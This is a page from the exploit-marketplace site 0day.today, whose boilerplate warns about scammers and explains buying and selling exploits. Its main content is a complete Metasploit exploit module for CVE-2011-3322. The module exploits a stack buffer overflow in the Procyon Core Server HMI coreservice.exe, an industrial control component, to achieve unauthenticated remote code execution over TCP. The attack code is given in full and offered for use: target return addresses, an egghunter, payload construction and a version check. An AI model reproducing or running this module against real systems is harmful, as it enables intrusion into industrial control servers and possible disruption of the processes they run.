0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow
## # $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the coreservice.exe component of Proycon Core Server <= v1.13. While processing a password, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, Coreservice.exe should automatically recover. }, 'License' => MSF_LICENSE, 'Version' => '$Revision: 13724 $', 'Author' => [ 'Knud Højgaard <keh[at]nsense.dk>', # Initial discovery 'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf ], 'References' => [ ['CVE', 'CVE-2011-3322'], ['OSVDB', '75371'], ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'], ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", }, 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 - No dep bypass', { 'Ret' => 0x774699bf, # JMP ESP [user32.dll] 'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll] 'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll] 'Offset' => 8 } ], ], 'Privileged' => true, 'DisclosureDate' => "Sep 08 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(23) ], self.class) end def check connect res = sock.get_once.chomp #This gives us string "----------------------------" res = sock.get_once.chomp #This gives us the actual software version disconnect if res =~ /Core Command Interface V1\.(.*)2/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit eggoptions = { :checksum => false, :eggtag => 'ssec', } badchars = "\x00\x0a\x0d" hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) sploit = rand_text_alpha_upper(45) sploit << [target['Edx']].pack('V') sploit << [0x41414141].pack('V') sploit << [target['Eax']].pack('V') sploit << rand_text_alpha_upper(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << hunter sploit << rand_text_alpha_upper(500) sploit << egg sploit << "\r\n" connect sock.get_once() print_status("Sending request...") sock.put(sploit) handler() disconnect end end # 0day.today [2024-12-24] #